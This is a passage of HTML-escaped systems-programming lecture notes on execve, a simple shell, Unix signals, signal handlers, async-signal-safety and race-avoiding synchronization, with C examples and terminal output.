      printf(&quot;Child %d terminated with exit status %d\n&quot;, wpid, WEXITSTATUS(child_status));
    else
      printf(&quot;Child %d terminate abnormally\n&quot;, wpid);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;execve: Loading and Running Programs&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;int execve(char *filename, char *argv[], char *envp[])&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Loads and runs in the current process:
&lt;ul&gt;
&lt;li&gt;Executable file &lt;code&gt;filename&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Can be object file or script file beginning with &lt;code&gt;#!interpreter&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;...with argument list &lt;code&gt;argv&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;By convention &lt;code&gt;argv[0] == filename&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;...and environment variable list &lt;code&gt;envp&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;name=value&lt;/code&gt; strings (e.g., &lt;code&gt;USER=root&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;getenv&lt;/code&gt;, &lt;code&gt;putenv&lt;/code&gt;, &lt;code&gt;printenv&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Overwrites code, data, and stack
&lt;ul&gt;
&lt;li&gt;Retains PID, open files and signal context&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Called once and never returns
&lt;ul&gt;
&lt;li&gt;...except if there is an error&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Structure of the stack when a new program starts&lt;/h4&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.102h4pubgz.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h2&gt;Signals&lt;/h2&gt;
&lt;h3&gt;Linux Process Hierarchy&lt;/h3&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7p3wvr5kt0.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;:::tip
You can view the hierarchy using the &lt;code&gt;pstree&lt;/code&gt; command.
:::&lt;/p&gt;
&lt;h3&gt;Shell Programs&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;A shell is an application program that runs programs on behalf of the user
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;sh&lt;/code&gt;: Original Unix shell (Stephen Bourne, AT&amp;amp;T Bell Labs, 1977)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;csh/tcsh&lt;/code&gt;: BSD Unix C shell&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bash&lt;/code&gt;: &quot;Bourne-Again&quot; Shell (default Linux shell)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Execution is a sequence of read/evaluate steps&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;int main() {
  char cmdline[MAXLINE]; /* command line */

  while (1) {
    /* read */
    printf(&quot;&amp;gt; &quot;);
    fgets(cmdline, MAXLINE, stdin);

    if (feof(stdin))
      exit(0);

    /* evaluate */
    eval(cmdline);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;void eval(char *cmdline) {
  char *argv[MAXARGS]; /* Argument list execve() */
  char buf[MAXLINE];   /* Holds modified command line */
  int bg;              /* Should the job run in bg or fg? */
  pid_t pid;           /* Process id */

  strcpy(buf, cmdline);
  bg = parseline(buf, argv);

  if (argv[0] == NULL)
    return; /* Ignore empty lines */

  if (!builtin_command(argv)) {
    if ((pid = Fork()) == 0) { /* Child runs user job */
      if (execve(argv[0], argv, environ) &amp;lt; 0) {
        printf(&quot;%s: Command not found.\n&quot;, argv[0]);
        exit(0);
      }
    }

    /* Parent waits for foreground job to terminate */
    if (!bg) {
      int status;
      if (waitpid(pid, &amp;amp;status, 0) &amp;lt; 0)
        unix_error(&quot;waitfg: waitpid error&quot;);
    }
    else
      printf(&quot;%d %s&quot;, pid, cmdline);
  }
  return;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Problem with Simple Shell Example&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Our example shell correctly waits for and reaps foreground jobs&lt;/li&gt;
&lt;li&gt;But what about background jobs ?
&lt;ul&gt;
&lt;li&gt;Will become zombies when they terminate&lt;/li&gt;
&lt;li&gt;Will never be reaped because shell (typically) will not terminate&lt;/li&gt;
&lt;li&gt;Will create a memory leak that could run the kernel out of memory&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;Solution: Exceptional Control Flow&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;The kernel will interrupt regular processing to alert us when a background process completes&lt;/li&gt;
&lt;li&gt;In Unix, the alert mechanism is called a &lt;em&gt;signal&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Signals&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;A &lt;em&gt;signal&lt;/em&gt; is a small message that notifies a process that an event of some type has occurred in the system
&lt;ul&gt;
&lt;li&gt;Akin to exceptions and interrupts&lt;/li&gt;
&lt;li&gt;Sent from the kernel (sometimes at the request of another process) to a process&lt;/li&gt;
&lt;li&gt;Signal type is identified by small integer ID&apos;s (1-30)&lt;/li&gt;
&lt;li&gt;Only information in a signal is its ID and the fact that it arrived&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ID&lt;/th&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;Default Action&lt;/th&gt;
&lt;th&gt;Corresponding Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;SIGINT&lt;/td&gt;
&lt;td&gt;Terminate&lt;/td&gt;
&lt;td&gt;User typed Ctrl-C&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;SIGKILL&lt;/td&gt;
&lt;td&gt;Terminate&lt;/td&gt;
&lt;td&gt;Kill program (cannot override or ignore)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;SIGSEGV&lt;/td&gt;
&lt;td&gt;Terminate &amp;amp; Dump&lt;/td&gt;
&lt;td&gt;Segmentation violation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;14&lt;/td&gt;
&lt;td&gt;SIGALARM&lt;/td&gt;
&lt;td&gt;Terminate&lt;/td&gt;
&lt;td&gt;Timer signal&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;17&lt;/td&gt;
&lt;td&gt;SIGCHLD&lt;/td&gt;
&lt;td&gt;Ignore&lt;/td&gt;
&lt;td&gt;Child stopped or terminated&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4&gt;Sending a Signal&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Kernel &lt;em&gt;sends (delivers)&lt;/em&gt; a signal to a &lt;em&gt;destination process&lt;/em&gt; by updating some state in the context of the destination process&lt;/li&gt;
&lt;li&gt;Kernel sends a signal for one of the following reasons:
&lt;ul&gt;
&lt;li&gt;Kernel has detected a system event such as &lt;em&gt;divide-by-zero (SIGFPE)&lt;/em&gt; or the &lt;em&gt;termination of a child process (SIGCHLD)&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Another process has invoked the &lt;code&gt;kill&lt;/code&gt; system call to explicitly request the kernel to send a signal to the destination process&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Receiving a Signal&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;A destination process &lt;em&gt;receives&lt;/em&gt; a signal when it is forced by the kernel to react in some way to the delivery of the signal&lt;/li&gt;
&lt;li&gt;Some possible ways to react:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Ignore&lt;/code&gt; the signal (do nothing)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Terminate&lt;/code&gt; the process (with optional core dump)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Catch&lt;/code&gt; the signal by executing a user-level function called &lt;code&gt;signal handler&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Akin to a hardware exception handler being called in response to an asynchronous interrupt:&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6m47kwd250.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h4&gt;Pending and Blocked Signals&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;A signal is &lt;em&gt;pending&lt;/em&gt; if sent but not yet received
&lt;ul&gt;
&lt;li&gt;There can be at most one pending signal of any particular type&lt;/li&gt;
&lt;li&gt;Signals are not queued
&lt;ul&gt;
&lt;li&gt;For each signal type, one bit indicates whether or not signal is pending&lt;/li&gt;
&lt;li&gt;Thus at most one pending signal of any particular type&lt;/li&gt;
&lt;li&gt;Then subsequent signals of the same type that are sent to that process are discarded&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;A process can &lt;em&gt;block&lt;/em&gt; the receipt of certain signals
&lt;ul&gt;
&lt;li&gt;Blocked signals can be delivered, but will not be received until the signal is unblocked&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;A pending signal is received at most once&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Pending/Blocked Bits&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Kernel maintains pending and blocked bit vectors in the context of each process
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;pending&lt;/code&gt;: represents the set of pending signals
&lt;ul&gt;
&lt;li&gt;Kernel sets bit $k$ in pending when a signal of type $k$ is delivered&lt;/li&gt;
&lt;li&gt;Kernel clears bit $k$ in pending when a signal of type $k$ is received&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;blocked&lt;/code&gt;: represents the set of blocked signals
&lt;ul&gt;
&lt;li&gt;Can be set and cleared by using the &lt;code&gt;sigprocmask&lt;/code&gt; function&lt;/li&gt;
&lt;li&gt;Also referred to as the &lt;em&gt;signal mask&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Sending Signals&lt;/h3&gt;
&lt;h4&gt;Process Groups&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Every process belongs to exactly one process group&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8ok08z1t1v.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;getpgrp()&lt;/code&gt; Return process group of current process&lt;/li&gt;
&lt;li&gt;&lt;code&gt;setpgid()&lt;/code&gt; Change process group of a process&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;/bin/kill Program&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/bin/kill&lt;/code&gt; program sends arbitrary signal to a process or process group&lt;/li&gt;
&lt;li&gt;Examples
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/bin/kill –9 24818&lt;/code&gt; Send SIGKILL to process 24818&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/bin/kill –9 –24817&lt;/code&gt; Send SIGKILL to every process in process group 24817&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;linux&amp;gt; ./forks 16
Child1: pid=24818 pgrp=24817
Child2: pid=24819 pgrp=24817
linux&amp;gt; ps
PID TTY TIME CMD
24788 pts/2 00:00:00 tcsh
24818 pts/2 00:00:02 forks
24819 pts/2 00:00:02 forks
24820 pts/2 00:00:00 ps
linux&amp;gt; /bin/kill -9 -24817
linux&amp;gt; ps
PID TTY TIME CMD
24788 pts/2 00:00:00 tcsh
24823 pts/2 00:00:00 ps
linux&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;From the Keyboard&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Typing &lt;code&gt;Ctrl-C&lt;/code&gt; (&lt;code&gt;Ctrl-Z&lt;/code&gt;) causes the kernel to send a SIGINT (SIGTSTP) to every job in the foreground process group
&lt;ul&gt;
&lt;li&gt;SIGINT – default action is to terminate each process&lt;/li&gt;
&lt;li&gt;SIGTSTP – default action is to stop (suspend) each process&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;Example of Ctrl-C and Ctrl-Z&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;STAT (process state) Legend:
&lt;ul&gt;
&lt;li&gt;First letter:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;S&lt;/code&gt;: Sleeping&lt;/li&gt;
&lt;li&gt;&lt;code&gt;T&lt;/code&gt;: Stopped&lt;/li&gt;
&lt;li&gt;&lt;code&gt;R&lt;/code&gt;: Running&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Second letter:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;s&lt;/code&gt;: Session leader&lt;/li&gt;
&lt;li&gt;&lt;code&gt;+&lt;/code&gt;: Foreground proc group&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;bluefish&amp;gt; ./forks 17
Child: pid=28108 pgrp=28107
Parent: pid=28107 pgrp=28107
&amp;lt;types ctrl-z&amp;gt;
Suspended
bluefish&amp;gt; ps w
PID TTY STAT TIME COMMAND
27699 pts/8 Ss 0:00 -tcsh
28107 pts/8 T 0:01 ./forks 17
28108 pts/8 T 0:01 ./forks 17
28109 pts/8 R+ 0:00 ps w
bluefish&amp;gt; fg
./forks 17
&amp;lt;types ctrl-c&amp;gt;
bluefish&amp;gt; ps w
PID TTY STAT TIME COMMAND
27699 pts/8 Ss 0:00 -tcsh
28110 pts/8 R+ 0:00 ps w
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;kill Function&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;void fork12() {
  pid_t pid[N];
  int i;
  int child_status;

  for (i = 0; i &amp;lt; N; i++)
    if ((pid[i] = fork()) == 0) {
      /* Child: Infinite Loop */
      while(1)
        ;
    }

  for (i = 0; i &amp;lt; N; i++) {
    printf(&quot;Killing process %d\n&quot;, pid[i]);
    kill(pid[i], SIGINT);
  }

  for (i = 0; i &amp;lt; N; i++) {
    pid_t wpid = wait(&amp;amp;child_status);
    if (WIFEXITED(child_status))
      printf(&quot;Child %d terminated with exit status %d\n&quot;, wpid, WEXITSTATUS(child_status));
    else
      printf(&quot;Child %d terminated abnormally\n&quot;, wpid);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Receiving Signals&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Suppose kernel is returning from an exception handler and is ready to pass control to process $p$&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::important
All context switches are initiated by calling some exception handler.
:::&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Kernel computes &lt;code&gt;pnb = pending &amp;amp; ~blocked&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;The set of pending nonblocked signals for process $p$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;If &lt;code&gt;pnb == 0&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Pass control to next instruction in the logical flow for $p$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Else
&lt;ul&gt;
&lt;li&gt;Choose least nonzero bit $k$ in &lt;code&gt;pnb&lt;/code&gt; and force process $p$ to receive signal $k$&lt;/li&gt;
&lt;li&gt;The receipt of the signal triggers some &lt;em&gt;action&lt;/em&gt; by $p$&lt;/li&gt;
&lt;li&gt;Repeat for all nonzero $k$ in &lt;code&gt;pnb&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Pass control to next instruction in logical flow for $p$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Default Actions&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Each signal type has a predefined default action, which is one of:
&lt;ul&gt;
&lt;li&gt;The process terminates&lt;/li&gt;
&lt;li&gt;The process terminates and dumps core&lt;/li&gt;
&lt;li&gt;The process stops until restarted by a SIGCONT signal&lt;/li&gt;
&lt;li&gt;The process ignores the signal&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Installing Signal Handlers&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;The signal function modifies the default action associated with the receipt of signal &lt;code&gt;signum&lt;/code&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;handler_t *signal(int signum, handler_t *handler)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Different values for handler:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;SIG_IGN&lt;/code&gt;: Ignore signals of type &lt;strong&gt;signum&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SIG_DFL&lt;/code&gt;: Revert to the default action on receipt of signals of type &lt;strong&gt;signum&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Otherwise, &lt;code&gt;handler&lt;/code&gt; is the address of a user-level &lt;em&gt;signal handler&lt;/em&gt;
&lt;ul&gt;
&lt;li&gt;Called when process receives signal of type &lt;strong&gt;signum&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Referred to as &lt;em&gt;&quot;installing&quot;&lt;/em&gt; the handler&lt;/li&gt;
&lt;li&gt;Executing handler is called &lt;em&gt;&quot;catching&quot;&lt;/em&gt; or &lt;em&gt;&quot;handling&quot;&lt;/em&gt; the signal&lt;/li&gt;
&lt;li&gt;When the handler executes its return statement, control passes back to instruction in the control flow of the process that was interrupted by receipt of the signal&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;/* SIGINT handler */
void sigint_handler(int sig) {
  printf(&quot;So you think you can stop the bomb with ctrl-c, do you?\n&quot;);
  sleep(2);
  printf(&quot;Well...&quot;);
  fflush(stdout);
  sleep(1);
  printf(&quot;OK. :-)\n&quot;);
  exit(0);
}

int main() {
  /* Install the SIGINT handler */
  if (signal(SIGINT, sigint_handler) == SIG_ERR)
    unix_error(&quot;signal error&quot;);

  /* Wait for the receipt of a signal */
  pause();

  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Signals Handlers as Concurrent Flows&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;A signal handler is a separate logical flow (not process) that runs concurrently with the main program&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.67xru5q4nt.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5fkwcfa6bb.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h3&gt;Nested Signal Handlers&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Handlers can be interrupted by other handlers&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6m47l103is.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h3&gt;Blocking and Unblocking Signals&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Implicit blocking mechanism
&lt;ul&gt;
&lt;li&gt;Kernel blocks any pending signals of type currently being handled&lt;/li&gt;
&lt;li&gt;E.g., A SIGINT handler can&apos;t be interrupted by another SIGINT&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Explicit blocking and unblocking mechanism
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;sigprocmask&lt;/code&gt; function&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Supporting functions
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;sigemptyset&lt;/code&gt; – Create empty set&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sigfillset&lt;/code&gt; – Add every signal number to set&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sigaddset&lt;/code&gt; – Add signal number to set&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sigdelset&lt;/code&gt; – Delete signal number from set&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Temporarily Blocking Signals&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;sigset_t mask, prev_mask;

sigemptyset(&amp;amp;mask);
sigaddset(&amp;amp;mask, SIGINT);

/* Block SIGINT and save previous blocked set */
sigprocmask(SIG_BLOCK, &amp;amp;mask, &amp;amp;prev_mask);

/* Code region that will not be interrupted by SIGINT */

/* Restore previous blocked set, unblocking SIGINT */
sigprocmask(SIG_SETMASK, &amp;amp;prev_mask, NULL);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Safe Signal Handling Guidelines&lt;/h3&gt;
&lt;p&gt;Handlers are tricky because they are concurrent with main program and share the same global data structures. Shared data structures can become corrupted.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;G0: Keep your handlers as simple as possible
&lt;ul&gt;
&lt;li&gt;E.g., Set a global flag and return&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;G1: Call only async-signal-safe functions in your handlers
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;printf&lt;/code&gt;, &lt;code&gt;sprintf&lt;/code&gt;, &lt;code&gt;malloc&lt;/code&gt;, and &lt;code&gt;exit&lt;/code&gt; are not safe !&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;G2: Save and restore &lt;code&gt;errno&lt;/code&gt; on entry and exit
&lt;ul&gt;
&lt;li&gt;So that other handlers don&apos;t overwrite your value of &lt;strong&gt;errno&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;G3: Protect accesses to shared data structures by temporarily blocking all signals
&lt;ul&gt;
&lt;li&gt;To prevent possible corruption&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;G4: Declare global variables as &lt;code&gt;volatile&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;To prevent compiler from storing them in a register&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;G5: Declare global flags as &lt;code&gt;volatile sig_atomic_t&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;flag: variable that is only read or written (e.g. &lt;code&gt;flag = 1&lt;/code&gt;, not &lt;code&gt;flag++&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Flag declared this way does not need to be protected like other globals&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Async-Signal-Safety&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Function is async-signal-safe if either reentrant (e.g., all variables stored on stack frame) or non-interruptible by signals&lt;/li&gt;
&lt;li&gt;Posix guarantees 117 functions to be async-signal-safe
&lt;ul&gt;
&lt;li&gt;Source: &lt;code&gt;man 7 signal&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Popular functions on the list:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;_exit&lt;/code&gt;, &lt;code&gt;write&lt;/code&gt;, &lt;code&gt;wait&lt;/code&gt;, &lt;code&gt;waitpid&lt;/code&gt;, &lt;code&gt;sleep&lt;/code&gt;, &lt;code&gt;kill&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Popular functions that are not on the list:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;printf&lt;/code&gt;, &lt;code&gt;sprintf&lt;/code&gt;, &lt;code&gt;malloc&lt;/code&gt;, &lt;code&gt;exit&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Unfortunate fact: &lt;code&gt;write&lt;/code&gt; is the only async-signal-safe output function&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Correct Signal Handling Example&lt;/h4&gt;
&lt;p&gt;You can&apos;t use signals to count events, such as children terminating.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#define N 5

int ccount = 0;

void child_handler(int sig) {
  int olderrno = errno;
  pid_t pid;

  if ((pid = wait(NULL)) &amp;lt; 0)
    Sio_error(&quot;wait error&quot;);

  ccount--;
  Sio_puts(&quot;Handler reaped child &quot;);
  Sio_putl((long)pid);
  Sio_puts(&quot; \n&quot;);
  sleep(1);
  errno = olderrno;
}

void fork14() {
  pid_t pid[N];
  int i;
  ccount = N;

  signal(SIGCHLD, child_handler);

  for (i = 0; i &amp;lt; N; i++) {
    if ((pid[i] = fork()) == 0) {
      sleep(1);
      exit(0); /* Child exits */
    }
  }

  while (ccount &amp;gt; 0) /* Parent spins */
    ;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;whaleshark&amp;gt; ./forks 14
Handler reaped child 23240
Handler reaped child 23241
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Must wait for all terminated child processes. Put &lt;code&gt;wait&lt;/code&gt; in a loop to reap all terminated children.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void child_handler2(int sig) {
  int olderrno = errno;
  pid_t pid;

  while ((pid = wait(NULL)) &amp;gt; 0) {
    ccount--;
    Sio_puts(&quot;Handler reaped child &quot;);
    Sio_putl((long)pid);
    Sio_puts(&quot; \n&quot;);
  }
  if (errno != ECHILD)
    Sio_error(&quot;wait error&quot;);
  errno = olderrno;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;whaleshark&amp;gt; ./forks 15
Handler reaped child 23246
Handler reaped child 23247
Handler reaped child 23248
Handler reaped child 23249
Handler reaped child 23250
whaleshark&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Portable Signal Handling&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Ugh ! Different versions of Unix can have different signal handling semantics
&lt;ul&gt;
&lt;li&gt;Some older systems restore action to default after catching signal&lt;/li&gt;
&lt;li&gt;Some interrupted system calls can return with &lt;code&gt;errno == EINTR&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Some systems don&apos;t block signals of the type being handled&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Solution: &lt;code&gt;sigaction&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;handler_t *signal(int signum, handler_t *handler) {
  struct sigaction action, old_action;

  action.sa_handler = handler;
  sigemptyset(&amp;amp;action.sa_mask); /* Block sigs of type being handled */
  action.sa_flags = SA_RESTART; /* Restart syscalls if possible */

  if (sigaction(signum, &amp;amp;action, &amp;amp;old_action) &amp;lt; 0)
    unix_error(&quot;Signal error&quot;);
  return (old_action.sa_handler);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Synchronizing Flows to Avoid Races&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Simple shell with a subtle synchronization error because it assumes parent runs before child&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;int main(int argc, char **argv) {
  int pid;
  sigset_t mask_all, prev_all;

  sigfillset(&amp;amp;mask_all);
  signal(SIGCHLD, handler);
  initjobs(); /* Initialize the job list */

  while (1) {
    if ((pid = Fork()) == 0) { /* Child */
      execve(&quot;/bin/date&quot;, argv, NULL);
    }
    sigprocmask(SIG_BLOCK, &amp;amp;mask_all, &amp;amp;prev_all); /* Parent */
    addjob(pid); /* Add the child to the job list */
